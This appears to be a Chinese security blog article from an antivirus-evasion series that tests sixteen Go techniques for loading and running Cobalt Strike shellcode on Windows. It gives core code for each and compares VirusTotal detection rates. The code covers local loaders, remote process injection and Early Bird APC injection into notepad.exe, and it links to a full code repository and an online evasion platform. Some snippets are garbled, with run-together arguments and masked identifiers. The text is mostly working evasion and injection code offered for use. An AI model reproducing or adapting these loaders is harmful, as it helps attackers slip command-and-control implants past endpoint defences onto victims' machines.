远控免杀专题(76)-基于Go的各种API免杀测试

2022-08-29 7,851

免杀专题文章及工具:https://github.com/TideSec/BypassAntiVirus

免杀专题在线文库:http://wiki.tidesec.com/docs/bypassav

本文涉及的所有代码和资料:https://github.com/TideSec/GoBypassAV/

0x01 基于API的免杀测试

1.1 介绍

目前基于Go的免杀,很大一部分都是基于已有API来各种姿势的加载shellcode,再加上shellcode的加解密、代码混淆、加壳、条件执行等方法,从而规避杀软的检测。

基于Go的各种加载器也就是为shellcode申请一段内存,然后把指令寄存器指向shellcode的开头,让机器执行这段shellcode,而Go实现这个功能就需要调用windows API了。

本次所有测试代码:https://github.com/TideSec/GoBypassAV/下的Go_Windows_API目录,所有代码均可单独编译运行。

通过对Go免杀的研究,实现了一个在线免杀平台,目前生成x64位的免杀效果尚可,x86的效果一般。

潮影在线免杀平台:http://bypass.tidesec.com/

1.2 测试环境

本文搜集汇总了网上各种基于Go的API代码实现方式,共16种,应该算是比较全面的了,逐一进行了免杀测试。

  • 测试环境:Win10 x64

  • shellcode:CobalStrike 4.4生成的64位shellcode,使用了异或xor算法进行编码

  • Golang版本:1.18.3

  • 测试参数:使用go build -gcflags=-trimpath=$GOPATH -asmflags=-trimpath=$GOPATH -ldflags "-w -s" 编译生成

  • 说明:方便对比起见,本次测试均未结合其他免杀方式。

CobalStrike 4.4生成的shellcode使用异或算法进行编码,异或代码在这里:https://github.com/TideSec/GoBypassAV/blob/master/Encryption/xor/xor.go

1.3 测试结果

测试使用的平台为VT平台:https://virustotal.com/

API介绍部分参考piiperxyz大佬的https://github.com/piiperxyz/AniYa

0x02 不同API的免杀测试情况

2.00 HelloTide测试(VT免杀率7/70)

测试之前先用helloTide测试一下,发现VT的查杀率能到7/70,所以现在想把Go语言做到0免杀已经很难了,能达到10/70以下就算不错的了。在去年的时候还能用-race参数做到基本0免杀,但现在加上-race参数只会查杀更厉害。

package main

import "fmt"

func main(){
 fmt.Println("Hello Tide")
}

2.01 CreateFiber(VT免杀率18/70)

核心代码

kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
ConvertThreadToFiber := kernel32.NewProc("ConvertThreadToFiber")
CreateFiber := kernel32.NewProc("CreateFiber")
SwitchToFiber := kernel32.NewProc("SwitchToFiber")
fiberAddr, _, _ := ConvertThreadToFiber.Call()
addr, _, _ := VirtualAlloc.Call(0uintptr(len(shellcode)), MemCommit|MemReserve, PageReadwrite)
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
oldProtect := PageReadwrite
_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PageExecuteRead, uintptr(unsafe.Pointer(&oldProtect)))
fiber, _, _ := CreateFiber.Call(0, addr, 0)
_, _, _ = SwitchToFiber.Call(fiber)
_, _, _ = SwitchToFiber.Call(fiberAddr)

2.02 CreateProcessWithPipe(VT免杀率8/70)

核心代码

VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")

errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), nilniltrue, windows.CREATE_SUSPENDED, nilnil, startupInfo, procInfo)

addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(procInfo.Process), 0uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)

2.03 CreateRemoteThread(VT免杀率8/70)

核心代码

kernel32 := windows.NewLazySystemDLL("kernel32.dll")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
pHandle, _ := windows.OpenProcess(
    windows.PROCESS_CREATE_THREAD|
        windows.PROCESS_VM_OPERATION|
        windows.PROCESS_VM_WRITE|
        windows.PROCESS_VM_READ|
        windows.PROCESS_QUERY_INFORMATION,
    false,
    uint32(pid),
)
addr, _, _ := VirtualAllocEx.Call(
    uintptr(pHandle),
    0,
    uintptr(len(shellcode)),
    windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE,
)
fmt.Println("ok")
_, _, _ = WriteProcessMemory.Call(
    uintptr(pHandle),
    addr,
    (uintptr)(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)),
)
oldProtect := windows.PAGE_READWRITE
_, _, _ = VirtualProtectEx.Call(
    uintptr(pHandle),
    addr,
    uintptr(len(shellcode)),
    windows.PAGE_EXECUTE_READ,
    uintptr(unsafe.Pointer(&oldProtect)),
)
_, _, _ = CreateRemoteThreadEx.Call(uintptr(pHandle), 00, addr, 000)
_ = windows.CloseHandle(pHandle

2.04 CreateRemoteThreadEx(VT免杀率9/70)

核心代码

kernel32 := windows.NewLazySystemDLL("kernel32.dll")
OpenProcess := kernel32.NewProc("OpenProcess")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
CloseHandle := kernel32.NewProc("CloseHandle")
pHandle, _, _ := OpenProcess.Call(
    windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|
        windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0,
    uintptr(uint32(pid)),
)
addr, _, _ := VirtualAllocEx.Call(pHandle, 0uintptr(len(shellcode)),
    windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
fmt.Println("ok")
_, _, _ = WriteProcessMemory.Call(pHandle, addr, (uintptr)(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)))
oldProtect := windows.PAGE_READWRITE
_, _, _ = VirtualProtectEx.Call(pHandle, addr, uintptr(len(shellcode)),
    windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
_, _, _ = CreateRemoteThreadEx.Call(pHandle, 00, addr, 000)
_, _, _ = CloseHandle.Call(uintptr(uint32(pHandle)))

2.05 CreateThread(VT免杀率8/70)

核心代码

addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
ntdll := windows.NewLazySystemDLL("ntdll.dll")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
var oldProtect uint32
_ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
CreateThread := kernel32.NewProc("CreateThread")
thread, _, _ := CreateThread.Call(00, addr, uintptr(0), 00)
_, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)

2.06 CreateThreadNative(VT免杀率8/69)

核心代码

kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
CreateThread := kernel32.NewProc("CreateThread")
WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
addr, _, _ := VirtualAlloc.Call(0uintptr(len(shellcode)),
    MemCommit|MemReserve, PageReadwrite)
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)))
oldProtect := PageReadwrite
_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PageExecuteRead,
    uintptr(unsafe.Pointer(&oldProtect)))
thread, _, _ := CreateThread.Call(00, addr, uintptr(0), 00)
_, _, _ = WaitForSingleObject.Call(thread, 0xFFFFFFFF)

2.07 CreatProcess(VT免杀率8/70)

核心代码

kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
procInfo := &windows.ProcessInformation{}
startupInfo := &windows.StartupInfo{
    Flags:      windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
    ShowWindow: 1,
}
appName, _ := syscall.UTF16PtrFromString(program)
commandLine, _ := syscall.UTF16PtrFromString("")
_ = windows.CreateProcess(
    appName,
    commandLine,
    nil,
    nil,
    true,
    windows.CREATE_SUSPENDED,
    nil,
    nil,
    startupInfo,
    procInfo,
)
addr, _, _ := VirtualAllocEx.Call(
    uintptr(procInfo.Process),
    0,
    uintptr(len(shellcode)),
    windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE,
)
fmt.Println("ok")
_, _, _ = WriteProcessMemory.Call(
    uintptr(procInfo.Process),
    addr,
    (uintptr)(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)),
)
oldProtect := windows.PAGE_READWRITE
_, _, _ = VirtualProtectEx.Call(
    uintptr(procInfo.Process),
    addr,
    uintptr(len(shellcode)),
    windows.PAGE_EXECUTE_READ,
    uintptr(unsafe.Pointer(&oldProtect)),
)

var processInformation ProcessBasicInformation
var returnLength uintptr

_, _, _ = NtQueryInformationProcess.Call(
    uintptr(procInfo.Process),
    0,
    uintptr(unsafe.Pointer(&processInformation)),
    unsafe.Sizeof(processInformation),
    returnLength,
)
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")

var peb PEB
var readBytes int32

_, _, _ = ReadProcessMemory.Call(
    uintptr(procInfo.Process),
    processInformation.PebBaseAddress,
    uintptr(unsafe.Pointer(&peb)),
    unsafe.Sizeof(peb),
    uintptr(unsafe.Pointer(&readBytes)),
)

var dosHeader ImageDosHeader
var readBytes2 int32

_, _, _ = ReadProcessMemory.Call(
    uintptr(procInfo.Process),
    peb.ImageBaseAddress,
    uintptr(unsafe.Pointer(&dosHeader)),
    unsafe.Sizeof(dosHeader),
    uintptr(unsafe.Pointer(&readBytes2)),
)

var Signature uint32
var readBytes3 int32

_, _, _ = ReadProcessMemory.Call(
    uintptr(procInfo.Process),
    peb.ImageBaseAddress+uintptr(dosHeader.LfaNew),
    uintptr(unsafe.Pointer(&Signature)),
    unsafe.Sizeof(Signature),
    uintptr(unsafe.Pointer(&readBytes3)),
)

var peHeader ImageFileHeader
var readBytes4 int32

_, _, _ = ReadProcessMemory.Call(
    uintptr(procInfo.Process),
    peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature),
    uintptr(unsafe.Pointer(&peHeader)),
    unsafe.Sizeof(peHeader),
    uintptr(unsafe.Pointer(&readBytes4)),
)

var optHeader64 ImageOptionalHeader64
var optHeade*** ImageOptionalHeade***
var readBytes5 int32

if peHeader.Machine == 34404 {
    _, _, _ = ReadProcessMemory.Call(
        uintptr(procInfo.Process),
        peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
        uintptr(unsafe.Pointer(&optHeader64)),
        unsafe.Sizeof(optHeader64),
        uintptr(unsafe.Pointer(&readBytes5)),
    )
else if peHeader.Machine == 332 {
    _, _, _ = ReadProcessMemory.Call(
        uintptr(procInfo.Process),
        peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
        uintptr(unsafe.Pointer(&optHeade***)),
        unsafe.Sizeof(optHeade***),
        uintptr(unsafe.Pointer(&readBytes5)),
    )
}

var ep uintptr
if peHeader.Machine == 34404 {
    ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
else if peHeader.Machine == 332 {
    ep = peb.ImageBaseAddress + uintptr(optHeade***.AddressOfEntryPoint)
}

var epBuffer []byte
var shellcodeAddressBuffer []byte

if peHeader.Machine == 34404 {
    epBuffer = append(epBuffer, byte(0x48))
    epBuffer = append(epBuffer, byte(0xb8))
    shellcodeAddressBuffer = make([]byte8)
    binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
    epBuffer = append(epBuffer, shellcodeAddressBuffer...)
else if peHeader.Machine == 332 {
    epBuffer = append(epBuffer, byte(0xb8))
    shellcodeAddressBuffer = make([]byte4// 4 bytes for 32-bit address
    binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
    epBuffer = append(epBuffer, shellcodeAddressBuffer...)
}

epBuffer = append(epBuffer, byte(0xff))
epBuffer = append(epBuffer, byte(0xe0))

_, _, _ = WriteProcessMemory.Call(
    uintptr(procInfo.Process),
    ep,
    uintptr(unsafe.Pointer(&epBuffer[0])),
    uintptr(len(epBuffer)),
)

_, _ = windows.ResumeThread(procInfo.Thread)
_ = windows.CloseHandle(procInfo.Process)
_ = windows.CloseHandle(procInfo.Thread)

2.08 EarlyBird(VT免杀率6/69)

核心代码

kernel32 := windows.NewLazySystemDLL("kernel32.dll")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
QueueUserAPC := kernel32.NewProc("QueueUserAPC")
procInfo := &windows.ProcessInformation{}
startupInfo := &windows.StartupInfo{
Flags:      windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
ShowWindow: 1,
}
program, _ := syscall.UTF16PtrFromString("C:\Windows\System32\notepad.exe")
args, _ := syscall.UTF16PtrFromString("")
_ = windows.CreateProcess(
program,
args,
nilniltrue,
windows.CREATE_SUSPENDED, nilnil, startupInfo, procInfo)
addr, _, _ := VirtualAllocEx.Call(uintptr(procInfo.Process), 0uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
fmt.Println("ok")
_, _, _ = WriteProcessMemory.Call(uintptr(procInfo.Process), addr,
(uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
oldProtect := windows.PAGE_READWRITE
_, _, _ = VirtualProtectEx.Call(uintptr(procInfo.Process), addr,
uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
_, _, _ = QueueUserAPC.Call(addr, uintptr(procInfo.Thread), 0)
_, _ = windows.ResumeThread(procInfo.Thread)
_ = windows.CloseHandle(procInfo.Process)
_ = windows.CloseHandle(procInfo.Thread)

2.09 EtwpCreateEtwThread(VT免杀率9/70)

核心代码

kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
EtwpCreateEtwThread := ntdll.NewProc("EtwpCreateEtwThread")
WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
addr, _, _ := VirtualAlloc.Call(0uintptr(len(shellcode)),
    MemCommit|MemReserve, PageReadwrite)
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)))
oldProtect := PageReadwrite
_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)),
    PageExecuteRead, uintptr(unsafe.Pointer(&oldProtect)))
thread, _, _ := EtwpCreateEtwThread.Call(addr, uintptr(0))
_, _, _ = WaitForSingleObject.Call(thread, 0xFFFFFFFF)

2.10 HeapAlloc(VT免杀率18/70)

核心代码

shellSize := uintptr(len(shellcode))
handle, _, _ := RtlCreateHeap.Call(0x00040000|0x000000020, shellSize, shellSize, 00)
alloc, _, _ := RtlAllocateHeap.Call(handle, 0x00000008, shellSize)

for index := uint32(0); index < uint32(len(shellcode)); index++ {
    writePtr := unsafe.Pointer(alloc + uintptr(index))
    v := (*byte)(writePtr)
    *v = shellcode[index]
}
_, _, _ = syscall.Syscall(alloc, 0000)

2.11 NtQueueApcThreadEx(VT免杀率9/70)

核心代码

kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
GetCurrentThread := kernel32.NewProc("GetCurrentThread")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
NtQueueApcThreadEx := ntdll.NewProc("NtQueueApcThreadEx")
addr, _, _ := VirtualAlloc.Call(0uintptr(len(shellcode)), MemCommit|MemReserve, PageReadwrite)
fmt.Println("ok")
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
oldProtect := PageReadwrite
_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PageExecuteRead, uintptr(unsafe.Pointer(&oldProtect)))
thread, _, _ := GetCurrentThread.Call()
_, _, _ = NtQueueApcThreadEx.Call(thread, 1, addr, 000)

2.12 ProcCryptProtectMemory(VT免杀率18/70)

核心代码

addr, _, err := VirtualAlloc.Call(0uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
    syscall.Exit(0)
}
time.Sleep(2 * time.Second)
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
procCryptProtectMemory.Call(uintptr(addr), uintptr(len(charcode)), uintptr(0x00))
if err != nil && err.Error() != "The operation completed successfully." {
    syscall.Exit(0)
}

time.Sleep(2 * time.Second)
syscall.Syscall(addr, 0000)

2.13 RtlCreateUserThread(VT免杀率8/69)

核心代码

kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
OpenProcess := kernel32.NewProc("OpenProcess")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
RtlCreateUserThread := ntdll.NewProc("RtlCreateUserThread")
CloseHandle := kernel32.NewProc("CloseHandle")
pHandle, _, _ := OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|
    windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION,
    0uintptr(uint32(pid)))
addr, _, _ := VirtualAllocEx.Call(pHandle, 0uintptr(len(shellcode)),
    windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
fmt.Println("ok")
_, _, _ = WriteProcessMemory.Call(pHandle, addr, (uintptr)(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)))
oldProtect := windows.PAGE_READWRITE
_, _, _ = VirtualProtectEx.Call(pHandle, addr, uintptr(len(shellcode)),
    windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
var tHandle uintptr
_, _, _ = RtlCreateUserThread.Call(pHandle, 00000, addr, 0,
    uintptr(unsafe.Pointer(&tHandle)), 0)
_, _, _ = CloseHandle.Call(uintptr(uint32(pHandle)))

2.14 RtlMoveMemory(VT免杀率17/70)

核心代码

addr, _, err := VirtualAlloc.Call(0uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
    checkErr(err)
}
_, _, err = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)

for j := 0; j < len(shellcode); j++ {
    shellcode[j] = 0
}
for j := 0; j < len(shellcode); j++ {
    shellcode[j] = 0
}

syscall.Syscall(addr, 0000)

2.15 SyscallUnsafe(VT免杀率16/70)

核心代码

func run(scd []byte) {

 ff := func() {}
 var oldfperms uint32
 if !VirtualProtect1(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&ff))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
 }

 **(**uintptr)(unsafe.Pointer(&ff)) = *(*uintptr)(unsafe.Pointer(&scd))
 var old uint32
 if !VirtualProtect1(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&scd))), uintptr(len(scd)), uint32(0x40), unsafe.Pointer(&old)) {
 }
 ff()
}

2.16 UuidFromString(VT免杀率19/70)

核心代码

kernel32 := windows.NewLazySystemDLL("kernel32")
rpcrt4 := windows.NewLazySystemDLL("Rpcrt4.dll")
heapCreate := kernel32.NewProc("HeapCreate")
heapAlloc := kernel32.NewProc("HeapAlloc")
enumSystemLocalesA := kernel32.NewProc("EnumSystemLocalesA")
uuidFromString := rpcrt4.NewProc("UuidFromStringA")
heapAddr, _, _ := heapCreate.Call(0x0004000000)
addr, _, _ := heapAlloc.Call(heapAddr, 00x00100000)
addrPtr := addr
for _, temp := range uuids {
    u := append([]byte(temp), 0)
    _, _, _ = uuidFromString.Call(uintptr(unsafe.Pointer(&u[0])), addrPtr)
    addrPtr += 16
}
_, _, _ = enumSystemLocalesA.Call(addr, 0)

0x03 测试小结

发现在使用GO进行免杀时,单纯使用API时有的效果还可以,但兼容性稳定性不一定好,而兼容性好使用较多的免杀效果又比较一般。

比如比较早期出现的Go加载器https://github.com/brimstone/go-shellcode就是用了上面2.15 SyscallUnsafe的方式,现在很多基于Go的免杀也都在使用这种API,目前VT免杀率16/70。

所以要想得到更好的免杀效果,还是要多种方式结合,下篇文章将总结一下Golang免杀的常见方式。多种方式结合,将会有更好的免杀效果。

0x04 参考资料

本文内容参考节选自以下资料:

go-shellcode:https://github.com/Ne0nd0g/go-shellcode

GolangBypassAV:https://github.com/safe6Sec/GolangBypassAV

windows免杀:https://blog.z3ratu1.cn/windows免杀入门.htm

AniYa免杀:https://github.com/piiperxyz/AniYa

golang免杀初尝试:https://xz.aliyun.com/t/11279


E

N

D

本文作者:TideSec

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/186378.html

Tags:
评论  (0)
快来写下你的想法吧!

TideSec

文章数:145 积分: 185

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号